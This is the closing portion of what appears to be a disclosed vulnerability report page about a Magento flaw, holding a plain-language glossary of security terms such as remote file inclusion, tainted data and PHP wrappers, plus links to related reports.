  • PoC (proof of concept): a small demonstration that a bug really works.
  • Remote code execution: an outsider getting the server to run their code.
  • RFI (Remote File Inclusion): making the server fetch and run a file from somewhere else on the internet.
  • RSS feed: a stream of content that other programs can subscribe to and read.
  • Sensitive sink: a place in the code where input flows into something that can cause loading or execution.
  • Session identifier: a value that proves the caller is logged in.
  • Silently patched: fixed without any public announcement tying the fix to a security problem.
  • SKU: the shop's internal code for a product.
  • SOAP: a style of API where messages are formatted as XML.
  • Source code: the human-readable text a program is built from.
  • SUPEE: the name Magento gives to its security patch bundles.
  • Tainted data: data that came from outside and was never checked.
  • Wrapper: a prefix such as http:// or ftp:// that tells PHP how to fetch a file.
  • XML: a text format built from tags in angle brackets.

More by Egidio Romano

View all

5 more disclosed reports, best first.

More from Adobe

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.